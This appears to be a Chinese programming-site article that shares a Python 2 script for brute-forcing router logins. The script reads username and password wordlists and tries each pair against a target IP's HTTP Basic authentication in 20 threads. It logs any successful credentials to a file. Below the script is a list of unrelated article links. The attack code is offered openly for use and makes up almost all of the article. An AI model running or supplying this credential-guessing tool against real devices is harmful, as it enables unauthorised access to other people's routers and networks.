python实现多线程暴力破解登陆路由器功能代码分享
作者:junjie 时间:2023-08-28 21:27:01
运行时请在其目录下添加user.txt passwd.txt两文件。否则会报错。程序没有加异常处理。代码比较挫.....
#coding:utf-8-
import base64
import urllib2
import Queue
import threading,re,sys
queue = Queue.Queue()
class Rout_thread(threading.Thread):
def __init__(self,queue,passwd):
threading.Thread.__init__(self)
self.queue=queue
self.passwordlist=passwd
def run(self):
self.user=queue.get()
for self.passwd in self.passwordlist:
request = urllib2.Request("http://"+target)
psw_base64 = "Basic " + base64.b64encode(self.user + ":" + self.passwd)
request.add_header('Authorization', psw_base64)
try:
response = urllib2.urlopen(request)
print "[+]Correct! Username: %s, password: %s" % (self.user,self.passwd)
fp3 = open('log.txt','a')
fp3.write(self.user+'||'+self.passwd+'\r\n')
fp3.close()
except urllib2.HTTPError:
print "[-]password:%s Error!" % (self.passwd)
if __name__ == '__main__':
print '''
#######################################################
# #
# Routing brute force tool #
# #
# by:well #
# #
#######################################################
'''
passwordlist = []
line = 20
threads = []
global target
target = raw_input("input ip:")
fp =open("user.txt")
fp2=open("passwd.txt")
for user in fp.readlines():
queue.put(user.split('\n')[0])
for passwd in fp2.readlines():
passwordlist.append(passwd.split('\n')[0])
#print passwordlist
fp.close()
fp2.close()
for i in range(line):
a = Rout_thread(queue,passwordlist)
a.start()
threads.append(a)
for j in threads:
j.join()
![](/images/zang.png)
![](/images/jiucuo.png)
猜你喜欢
详解Python+Pyecharts实现漏斗图的绘制
![](https://img.aspxhome.com/file/2023/2/135222_0s.png)
下雪了 javascript实现雪花飞舞
python 的 openpyxl模块 读取 Excel文件的方法
![](https://img.aspxhome.com/file/2023/6/67426_0s.jpg)
mysql性能优化之索引优化
![](https://img.aspxhome.com/file/2023/8/110298_0s.png)
Python爬虫requests库多种用法实例
python查看微信好友是否删除自己
python代码实现五子棋游戏
![](https://img.aspxhome.com/file/2023/6/112586_0s.jpg)
Java连接sqlserver2008数据库代码
Python异步处理返回进度——使用Flask实现进度条
![](https://img.aspxhome.com/file/2023/7/102947_0s.gif)
怎样修改 MySQL数据库中的密码
python 实现单一数字取对数与数列取对数
![](https://img.aspxhome.com/file/2023/3/96963_0s.png)
详解python中@classmethod和@staticmethod方法
win7下配置GO语言环境 + eclipse配置GO开发
![](https://img.aspxhome.com/file/2023/4/109684_0s.jpg)
升级到mysql-connector-java8.0.27的注意事项
![](https://img.aspxhome.com/file/2023/7/112647_0s.png)
go语言 xorm框架 postgresql 的用法及详细注解
Numpy 三维数组索引与切片的实现
![](https://img.aspxhome.com/file/2023/1/115201_0s.png)
详解phpMyAdmin的安装和配置
解决PyTorch与CUDA版本不匹配的问题
![](https://img.aspxhome.com/file/2023/6/92346_0s.jpg)
python使用cv2库、下载opencv库的方法
![](https://img.aspxhome.com/file/2023/9/117309_0s.png)